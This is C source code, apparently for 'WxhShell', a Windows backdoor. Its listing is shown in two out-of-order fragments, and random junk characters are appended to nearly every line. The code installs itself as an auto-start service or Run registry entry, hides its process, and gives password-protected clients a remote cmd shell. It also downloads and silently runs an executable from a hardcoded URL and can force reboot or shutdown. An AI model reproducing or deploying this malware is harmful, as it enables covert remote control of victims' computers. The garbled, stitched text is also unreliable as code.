    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rpK&OR/  
    else { )N8bO I  
    closesocket(wsh); h]s~w  
    ExitThread(0); eNK[P=-  
    } OtmDZ.t;`  
    break; 75zU,0"j  
    } V<J1.8H  
  // 获取shell [I3Nu8  
  case 's': { 5dI=;L >D  
    CmdShell(wsh); J\Pb/9M/  
    closesocket(wsh); oDMPYkpTu  
    ExitThread(0); XhHgXVVGG<  
    break; OyF=G^w  
  } R`Z"ey@C  
  // 退出 nOvR, 6  
  case 'x': { _ERtL5^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G<n75!  
    CloseIt(wsh); M|mfkIk0MB  
    break; ]}XDDPbZ}  
    } $Gv@lZ@=  
  // 离开 >kK@tJn  
  case 'q': { ZBK0`7#&EH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H3<tsK=:  
    closesocket(wsh); 8O9^g4?  
    WSACleanup(); +w^,!gA&  
    exit(1); R ~kO5jpW  
    break; ?$ e]K/*  
        } in<.0v9w  
  } peO@ZKmM  
  } :5,~CtF5 `  
y>aO90wJ  
  // 提示信息 Rz g;GH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = IRot  
} u,So+%  
  } *VsVCUCz5*  
RI&O@?+U  
  return; P'lnS&yA  
} t-iXY0%&  
-&>V.hi7  
// shell模块句柄 Fm0d0j  
int CmdShell(SOCKET sock) $G9LaD#;M  
{ AAlc %d/9  
STARTUPINFO si; x2"1,1%H7  
ZeroMemory(&si,sizeof(si)); rM,e$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,s#~00C|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E5n7 <  
PROCESS_INFORMATION ProcessInfo; $qQYxx@  
char cmdline[]="cmd"; ]O"f%   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r6Yd"~ n  
  return 0; ly17FLJ].  
} P\7*ql`  
FT- .gi0  
// 自身启动模式 )bOfs*S  
int StartFromService(void) z/ 1$G"  
{ =# Sw.N  
typedef struct C!*!n^qA  
{ ='o3<}  
  DWORD ExitStatus; 0w3c8s.  
  DWORD PebBaseAddress; FfJ;r'eGs  
  DWORD AffinityMask; ?l/6DT>e  
  DWORD BasePriority; Q:(mK* _  
  ULONG UniqueProcessId; W/!P1M n  
  ULONG InheritedFromUniqueProcessId; dj Ojd,  
}   PROCESS_BASIC_INFORMATION; 3 y}E*QE  
d^aVP  
PROCNTQSIP NtQueryInformationProcess; P[ :_"4U  
OB(o OPH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x950,`zy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^el+ej/=  
\N*([{X  
  HANDLE             hProcess; 9E2iZt]  
  PROCESS_BASIC_INFORMATION pbi; RVatGa0  
3 }fOb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CLrX!JV>  
  if(NULL == hInst ) return 0; Q6qW?*Y  
(4+P7Z,Nc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E{|B&6$[}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,I jZQ53q~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qgrJi +WZ  
U|} ?{x  
  if (!NtQueryInformationProcess) return 0; nnv|GnQST  
q*3OWr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gm-[x5O"  
  if(!hProcess) return 0; WP L@v+  
xak)YOLRV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }L_YpG7  
Lb/GL\J)  
  CloseHandle(hProcess); p@Y=6Bw  
'E_~ |C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ':vZ&  
if(hProcess==NULL) return 0; QhZg{v[d  
vV}w>Ap[  
HMODULE hMod; 53])@Mmus  
char procName[255]; 7=CkZ&(?  
unsigned long cbNeeded; pmNy=ZXx  
0kkDlWkzo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =8\.fp  
?R)]D:`  
  CloseHandle(hProcess); Z>9@)wo  
,dIev<  
if(strstr(procName,"services")) return 1; // 以服务启动 xqG<R5k>>  
h !^= c  
  return 0; // 注册表启动 8q[; 0  
} &zEQbHK6  
Du+W7]yCl  
// 主模块 %\m"Yi]  
int StartWxhshell(LPSTR lpCmdLine) jW'YQrj{<Y  
{ SGAzeymw  
  SOCKET wsl; h:?^0b!@  
BOOL val=TRUE; U] LDi8  
  int port=0; 5'} V`?S  
  struct sockaddr_in door; ^e.-Ji  
pE5v~~9Ikv  
  if(wscfg.ws_autoins) Install(); %2}fW\% '  
X;I9\Cp]!  
port=atoi(lpCmdLine); .{V"Gn9!  
$'J3 /C7  
if(port<=0) port=wscfg.ws_port; k;l3^kTy  
%j7b0pb  
  WSADATA data; vY4sU@+V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AQ~ xjU  
N6Mr#A-{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IO\4dU)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o:Fq|?/e  
  door.sin_family = AF_INET; !zA@{gvEc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oW3"J6,S  
  door.sin_port = htons(port); m@Z#  
y}?|+/ dN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o`bc/3!  
closesocket(wsl); ETp?RWXX  
return 1; uZ+bo&  
} IzP,)!EE  
:7v'[b  
  if(listen(wsl,2) == INVALID_SOCKET) { BQ-x#[ %s  
closesocket(wsl); &`r/+B_W  
return 1; uz8LF47@:-  
} n#(pT3&  
  Wxhshell(wsl); R_!.vGhkN  
  WSACleanup(); 8SGaS&  
9wvlR6z;u  
return 0; 2cMC ZuO  
r_T)| ||v  
} R/vHq36d  
RzEzNV  
// 以NT服务方式启动 b#VtPn]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3!CUJs/W  
{ =Hi@q "  
DWORD   status = 0; ^hIdmTf6  
  DWORD   specificError = 0xfffffff; Z8|<%1Kge  
/(dP)ysc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |mEWN/@C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,Bk5( e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SMN.AJ J  
  serviceStatus.dwWin32ExitCode     = 0; > i/jqT/  
  serviceStatus.dwServiceSpecificExitCode = 0; Tq1\  
  serviceStatus.dwCheckPoint       = 0; &hOz(825r  
  serviceStatus.dwWaitHint       = 0; -%asHDQ{  
MGg(d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]fyfL|(;  
  if (hServiceStatusHandle==0) return; V1aP_G-:  
hOj{y2sc  
status = GetLastError(); $L/`nd  
  if (status!=NO_ERROR) :{7+[LcH7  
{ fkV@3sj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {9x_E {  
    serviceStatus.dwCheckPoint       = 0; <Ky-3:pxeM  
    serviceStatus.dwWaitHint       = 0; jI-a+LnEm  
    serviceStatus.dwWin32ExitCode     = status; =nEP:7~{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4E$MhP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1!#N-^qk  
    return; `Q@7,z=f  
  } M(-)\~9T  
8w0~2-v.?V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %8'8XDq^8  
  serviceStatus.dwCheckPoint       = 0; VBhUh~:Om  
  serviceStatus.dwWaitHint       = 0; |L2>|4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SQodk:1)  
}  384n1?  
xT HD_?d  
// 处理NT服务事件,比如:启动、停止 (5yM%H8:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S$mv(C  
{ !=[Y yh  
switch(fdwControl) q}{E![ZTu  
{ ) c@gRb~  
case SERVICE_CONTROL_STOP: tLE8+[ SU  
  serviceStatus.dwWin32ExitCode = 0; ? x)^f+:9|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R/hf"E1  
  serviceStatus.dwCheckPoint   = 0; r4yz{^G  
  serviceStatus.dwWaitHint     = 0; eM7@!CdA9q  
  { f|d~=\0y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \""^'pP@  
  } ({uW-%  
  return; ]Ry9{:  
case SERVICE_CONTROL_PAUSE: NRRJlY S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _7c3=f83  
  break; s(,S~  
case SERVICE_CONTROL_CONTINUE: =ZgueUz,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iE%"Q? Q/  
  break; x YS81  
case SERVICE_CONTROL_INTERROGATE: ~A0]vcP  
  break; :'%6  
}; 'Y?-."eKh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X=)V<2WO  
} bLc5$U$!I  
*$Q>Om]  
// 标准应用程序主函数 iq&3S0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ipSMmpB  
{ +H-=`+,  
Eb3ZM#  
// 获取操作系统版本 o_:v?Y>0  
OsIsNt=GetOsVer(); )2f#@0SVL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SB62(#YR  
_"8n&=+  
  // 从命令行安装 'E| %l!xO  
  if(strpbrk(lpCmdLine,"iI")) Install(); E|O&bUMh  
s^k G]7  
  // 下载执行文件 QoD_`d  
if(wscfg.ws_downexe) { J/1kJ@5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]H1mj#EWU  
  WinExec(wscfg.ws_filenam,SW_HIDE); #xI g(nG  
} QkrQM&Im  
3",gjXmBu  
if(!OsIsNt) { >* -I Io  
// 如果时win9x,隐藏进程并且设置为注册表启动 9b. kso9.  
HideProc(); c`O~I<(Pm  
StartWxhshell(lpCmdLine); {oQs*`=l>  
} 8}QM~&&.  
else sW>%mnx  
  if(StartFromService()) $>rt0LOF  
  // 以服务方式启动 mGT('iTM4  
  StartServiceCtrlDispatcher(DispatchTable); U:7h>Z0W  
else +){^HC\7h  
  // 普通方式启动 l+ }=D@l  
  StartWxhshell(lpCmdLine); f:;-ZkIU ?  
N_Us6 X  
return 0; G]lGoa}]`u  
} w2LnY1A  
osp~)icun  
k+QGvgP[4@  
}">r0v!3  
=========================================== Ycr3$n]e  
h:Pfiw]  
N/ a4Gl(  
|Ajd$+3  
6-U_TV  
 9q;O`&  
" (5T>`7g8  
2?,Jn&i5  
#include <stdio.h> m6Dm1'+  
#include <string.h> TmgC {_  
#include <windows.h> r)<A YX]J  
#include <winsock2.h> OUv)`K  
#include <winsvc.h> P\"kr?jZP  
#include <urlmon.h> T?3Q<[SmI  
{&1L &f<  
#pragma comment (lib, "Ws2_32.lib") [S6u:;7  
#pragma comment (lib, "urlmon.lib") _}[ Du/c  
}?[];FB  
#define MAX_USER   100 // 最大客户端连接数 gM96RY  
#define BUF_SOCK   200 // sock buffer NaR} 0  
#define KEY_BUFF   255 // 输入 buffer t{})6  
,,H5zmgA  
#define REBOOT     0   // 重启 HUKrp*Hv  
#define SHUTDOWN   1   // 关机 EX)&|2w  
Ez1eGPVr  
#define DEF_PORT   5000 // 监听端口 9< mMU:  
Wn<?_}sa|z  
#define REG_LEN     16   // 注册表键长度 A7 RI&g v5  
#define SVC_LEN     80   // NT服务名长度 *HrEh;3^J  
}*x1e_m}H  
// 从dll定义API BM :x`JY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N*gJu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I~7iIUD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'F W?   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f3UCELJ  
KhjC'CU,  
// wxhshell配置信息 `Vvi]>,cg`  
struct WSCFG { !)a_@d.;i  
  int ws_port;         // 监听端口 )fJ"Hq  
  char ws_passstr[REG_LEN]; // 口令 Du_5iuMh  
  int ws_autoins;       // 安装标记, 1=yes 0=no ay8]"sa  
  char ws_regname[REG_LEN]; // 注册表键名 cAR `{%b  
  char ws_svcname[REG_LEN]; // 服务名 k*1Lr\1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \M`qaFan5^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +wi=IrRr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @eYpARF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lZk  z\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CE"/&I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .s{ "NqRA  
x`6MAZ  
}; s&7 3g0$$  
(~~m8VJ>  
// default Wxhshell configuration w:\} B'u  
struct WSCFG wscfg={DEF_PORT, b0~r/M;J  
    "xuhuanlingzhe", n/9afIN  
    1, (T1< (YZ  
    "Wxhshell", &2ED<%hH`  
    "Wxhshell", @.;+WQE  
            "WxhShell Service", {!Qu(%  
    "Wrsky Windows CmdShell Service", ^4sfVpD2!  
    "Please Input Your Password: ", fD!c t;UK  
  1, G)vNMl  
  "http://www.wrsky.com/wxhshell.exe", c7mKE`  
  "Wxhshell.exe" lY,^  
    }; _c-3eQ1  
V.Hv6  
// 消息定义模块 N,Y)'s<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zc7;&cz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7|}4UXr7y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P@N+jS`Vf  
char *msg_ws_ext="\n\rExit.";  /  
char *msg_ws_end="\n\rQuit."; 9=j9vBV  
char *msg_ws_boot="\n\rReboot..."; \ eHOHHAGW  
char *msg_ws_poff="\n\rShutdown..."; xvl$,\iqE  
char *msg_ws_down="\n\rSave to "; v,")XPY  
8maWF.xq  
char *msg_ws_err="\n\rErr!"; x/,;:S  
char *msg_ws_ok="\n\rOK!"; 12 p`ZD=  
9E7G%-  
char ExeFile[MAX_PATH]; t}+/GSwT  
int nUser = 0; TpU\IQ  
HANDLE handles[MAX_USER]; rC8p!e.yL  
int OsIsNt; #-yCR  
Lx,=Up.  
SERVICE_STATUS       serviceStatus; >)M{^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z],j|r Wy6  
;21D^e  
// 函数声明 xsa`R^5/c  
int Install(void); FWbp;v{  
int Uninstall(void); Z6I|Y5#H  
int DownloadFile(char *sURL, SOCKET wsh); [c{\el9H  
int Boot(int flag); /A{ Zf'DI  
void HideProc(void); ]N'3jf`W  
int GetOsVer(void); UhH#> 2r_  
int Wxhshell(SOCKET wsl); {/QVs?d  
void TalkWithClient(void *cs); <-I69`  
int CmdShell(SOCKET sock); --$* q"  
int StartFromService(void); %bnXZA2Sx  
int StartWxhshell(LPSTR lpCmdLine); svpQ.Q  
H<d~AurX)J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7d;|?R-8D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HzTmNm)  
,AnD%#o  
// 数据结构和表定义 6b|<$Je9  
SERVICE_TABLE_ENTRY DispatchTable[] = R`(2Fy%0\k  
{ 9KVJk</:n  
{wscfg.ws_svcname, NTServiceMain}, ]BO:*&O  
{NULL, NULL} RU)(|;  
}; wn"}<ka  
"BQnP9  
// 自我安装 nCYkUDnZ  
int Install(void) C8m9H8Qm  
{ b,'O|s]"Sc  
  char svExeFile[MAX_PATH]; 01A{\O1$j  
  HKEY key; zu d_BOq{f  
  strcpy(svExeFile,ExeFile); Im;%.J  
X%yG{\6:  
// 如果是win9x系统,修改注册表设为自启动 :[CV_ME.;  
if(!OsIsNt) { }$_@yt<{W@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8?Zhh.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]PS`"o,pF$  
  RegCloseKey(key); 9@|52dz%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5%jhVys23  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Y yE1 |  
  RegCloseKey(key); (%6fMVp  
  return 0; |nNcV~%~  
    } S f?;j{?G  
  } Qu|CXUk  
} =F+v+zP7P  
else { v~mVf.j1  
?+]=|hN  
// 如果是NT以上系统,安装为系统服务 ZDW9H6ux  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i<Z%  
if (schSCManager!=0) B|m)V9A%-  
{ &J 3QO%  
  SC_HANDLE schService = CreateService 3RaduN]  
  ( AR [m+E  
  schSCManager, xO|r<R7d7  
  wscfg.ws_svcname, D, ")n75  
  wscfg.ws_svcdisp, 9,?~dx  
  SERVICE_ALL_ACCESS, WE\TUENac(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I[?\ Or  
  SERVICE_AUTO_START, nXT`7  
  SERVICE_ERROR_NORMAL, yXU.PSG*  
  svExeFile, nQc,^A)I  
  NULL, +4 k=Y  
  NULL, 'D21A8*N  
  NULL, x*1wsA  
  NULL, z$J m1l  
  NULL YY;<y%:8Z  
  ); N`W[Q>n  
  if (schService!=0) kyHli~Nr"  
  { Rzd`MIHDp  
  CloseServiceHandle(schService); mi=mwN%UB  
  CloseServiceHandle(schSCManager); NzT &K7v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `G$>T#Dq  
  strcat(svExeFile,wscfg.ws_svcname); BA h'H&;V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ei5YxV6I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }5+^  
  RegCloseKey(key); H~FI@Cf$L  
  return 0; 3X gJZ  
    } Ksx-Y"  
  } S>oEk3zlw  
  CloseServiceHandle(schSCManager); QoYEWXT|g  
} pA!-spgX  
} RRja{*R  
Kn^+kHh:  
return 1; W1REF9i){  
} ]Q"T8drL  
TsFhrtnx&X  
// 自我卸载 SW9 C 8Q  
int Uninstall(void)  {b!{~q  
{ YdhV a!Y  
  HKEY key; <@Q27oEuA  
d]0:r]e  
if(!OsIsNt) { w;,34qbf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T?RY~GA  
  RegDeleteValue(key,wscfg.ws_regname); b<tV>d"Fv  
  RegCloseKey(key); 27!F B@k-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v.]{b8RR  
  RegDeleteValue(key,wscfg.ws_regname); k-ZO/yPo  
  RegCloseKey(key); *q6XK_  
  return 0; X7$]qE K  
  } t=Oq<r  
} PaKa bPY  
} i%o%bib#  
else { rn-bfzoDS  
NO~G4PUM0C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~9]vd|  
if (schSCManager!=0)  }#m9Q[  
{ vaeQ}F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -@XSDfy7S  
  if (schService!=0) |[rn/  
  { _%CM<z e  
  if(DeleteService(schService)!=0) { Z1,rN#p9  
  CloseServiceHandle(schService); nL?P/ \  
  CloseServiceHandle(schSCManager); Z=&|__ +d  
  return 0; [K A^+n  
  } |" }rdOV)  
  CloseServiceHandle(schService); iDDJJ>F26  
  } sRt7.fe  
  CloseServiceHandle(schSCManager); TJv .T2|  
} `"=Hk@E  
} %6q82}#`  
ejd_ 85$  
return 1; $2uC%er"H  
} myj/93p}`b  
20}HTV{v  
// 从指定url下载文件 >*EZZ\eU!  
int DownloadFile(char *sURL, SOCKET wsh) $q\"d?n  
{ fizW\f8ai  
  HRESULT hr; 4ior  
char seps[]= "/"; ovp/DM  
char *token; Qhj']>#g  
char *file; 1i#y>fUj  
char myURL[MAX_PATH]; 0PkX-.  
char myFILE[MAX_PATH]; X2V+cre  
;y(;7n_ a  
strcpy(myURL,sURL); 9JdJn>  
  token=strtok(myURL,seps); k[8F: T-  
  while(token!=NULL) {H/%2  
  { I7_8oq\3D  
    file=token; k<1i.rh  
  token=strtok(NULL,seps); 2{j$1EdI@-  
  } L]MWdD  
K^!#;,0  
GetCurrentDirectory(MAX_PATH,myFILE); W/UA%We3+L  
strcat(myFILE, "\\"); 0m3hL~0(a  
strcat(myFILE, file); Zv}F?4T~:  
  send(wsh,myFILE,strlen(myFILE),0); brTNwRze  
send(wsh,"...",3,0); H|aFs.SEQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b"$?(Y  
  if(hr==S_OK) -. *E<%  
return 0; CWeQv9h]X  
else .'=S1|_(  
return 1; Sqi9'-%m  
7@"X?uo%o  
} Il&F C  
a8TtItN  
// 系统电源模块 &S(>L[)9  
int Boot(int flag) 9&r]k8K  
{ }36AeJ7L  
  HANDLE hToken; K{d3)lVYCS  
  TOKEN_PRIVILEGES tkp; 9"^ib9M  
6-\Mf:%B  
  if(OsIsNt) { ~+{*KPiD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A _TaXl(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4AL,=C3  
    tkp.PrivilegeCount = 1; yhgGvyD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {- I+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j)/Vtf  
if(flag==REBOOT) { jvQ^Vh!mC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |]<#![!h#  
  return 0; b#@xg L*D  
} ~ox}e(x y  
else { g#i~^4-1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3chx 4  
  return 0; WzFXF{(  
} A!GvfmzqIn  
  } CE M4E  
  else { W^09tx/I  
if(flag==REBOOT) { 07SW$INb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ga|<S@u?}  
  return 0; %( OP  [  
} n=j) M  
else { FV9{u[3m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X[Iy6qt  
  return 0; zx<t{e7  
} DSHvBFQ  
} ^GV'Y  
8\;, d  
return 1; / ^)3V}  
} *Z"cXg^ti  
274j7Y'  
// win9x进程隐藏模块 9+y&&;p  
void HideProc(void) Re~6 '  
{ dlvU=^G#G  
r3x;lICx-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]+`K\G ^X  
  if ( hKernel != NULL ) TNh&g.  
  { V^tD@N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k-&<_ghT \  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0(d!w*RpG  
    FreeLibrary(hKernel); )-X8RRw'  
  } :V6 [_VaF  
$MvKwQ/  
return; D0 k ,8|  
} }s?3   
@ *Jbp  
// 获取操作系统版本 *[cCY!+Qy  
int GetOsVer(void) $|Ol?s  
{ R/1e/t  
  OSVERSIONINFO winfo; ri-&3%%z<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }{+?>!qDt  
  GetVersionEx(&winfo); zATOFV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ag8)^p'9  
  return 1; a 7v^o`  
  else :o` <CO  
  return 0; bX[ZVE(L  
} ;^s|n)F#c  
\x$`/  
// 客户端句柄模块 mK TF@DED  
int Wxhshell(SOCKET wsl) ;fV"5H)U\  
{ _b>z'4_'  
  SOCKET wsh; \<9aS Y'U  
  struct sockaddr_in client; R-$w* =Y  
  DWORD myID; ]UIN4E  
{_W8Qm`.  
  while(nUser<MAX_USER) U}HSL5v  
{ /Q9Cvj)"  
  int nSize=sizeof(client); q8ZxeMqx%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _=x*yDPG}  
  if(wsh==INVALID_SOCKET) return 1;  ]LsT  
:)Es]wA#HZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WyV,(~y  
if(handles[nUser]==0) z z]~IxQ  
  closesocket(wsh); A]Hz?i  
else R%LFFMVn  
  nUser++; &b~ X&{3,  
  } cb'Y a_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s8:epcL`A  
Msvs98LvW  
  return 0; ai/]E6r  
} i+QVs_jW  
_Cf:\Xs m  
// 关闭 socket nGTGX  
void CloseIt(SOCKET wsh) Ax|'uvVAPT  
{ I`xC0ZUKj  
closesocket(wsh); .>,Y |  
nUser--; _3u3b/%J?  
ExitThread(0); `Gxb98h/r  
} [e\IHakj  
~ecN4Oo4q;  
// 客户端请求句柄 ?.ObHV*k  
void TalkWithClient(void *cs) x_8sV?F  
{  \aof  
+(`D'5EB(  
  SOCKET wsh=(SOCKET)cs; s`Z.H5V>\  
  char pwd[SVC_LEN]; G$_)X%Vb I  
  char cmd[KEY_BUFF]; {8":c n j  
char chr[1]; .mwW`D  
int i,j; w&#[g9G%  
^Rl?)_)1HE  
  while (nUser < MAX_USER) { D:K"J><@  
$EIKi'!8  
if(wscfg.ws_passstr) { N:'GNMu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AzzHpfv,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dj5|t~&  
  //ZeroMemory(pwd,KEY_BUFF); lO9Ixhf~iu  
      i=0; *Q2 oc:6  
  while(i<SVC_LEN) { _UP 9b@Z"  
/Xc9}~t6  
  // 设置超时 1fJ~Wp @1  
  fd_set FdRead; a{^ 2c!  
  struct timeval TimeOut; w"D1mI!L 7  
  FD_ZERO(&FdRead); Y]~-S  
  FD_SET(wsh,&FdRead); 3y$6}Kp4?  
  TimeOut.tv_sec=8; ]n@T5*=  
  TimeOut.tv_usec=0; Q6 o1^s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( !m6>m2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <  j  
g<DXJ7o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Eh}]_  
  pwd=chr[0]; GXLh(d!C  
  if(chr[0]==0xd || chr[0]==0xa) { uZf 6W<a  
  pwd=0; ~tL:r=  
  break; B<myt79F_[  
  } 67H?xsk@n  
  i++; REcKfJTj  
    } bFG?mG:  
{[bpvK  
  // 如果是非法用户,关闭 socket pi70^`@'B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Djx@x  
} | Wj=%Ol%o  
Z9h4 pd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X16O9qsh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zZY1E@~  
s7jNRY V  
while(1) { fhdqes])  
rT-.'aQ2t  
  ZeroMemory(cmd,KEY_BUFF); (-;(wCEE  
L>Ze*dt  
      // 自动支持客户端 telnet标准   "`S?q G  
  j=0; toj5b;+4F  
  while(j<KEY_BUFF) { eC 2~&:$L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sAjUX.c  
  cmd[j]=chr[0]; lpB:lRM  
  if(chr[0]==0xa || chr[0]==0xd) { GaJE(N  
  cmd[j]=0; VqD_FS;E  
  break; f]sR4mhO  
  } `CL\-  
  j++; d@8: f  
    } vN]_/T+  
R:'&>.AUw  
  // 下载文件  D5Jg(-  
  if(strstr(cmd,"http://")) { ?|`n&HrP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PxWH)4  
  if(DownloadFile(cmd,wsh)) &eO.h%@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +|<bb8%  
  else -)&lsFF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&Yo2aADR  
  } W?N+7_%'  
  else { fS8Pi,!  
V'za,.d-  
    switch(cmd[0]) { xrlyph5mE  
  ]A+t@/k  
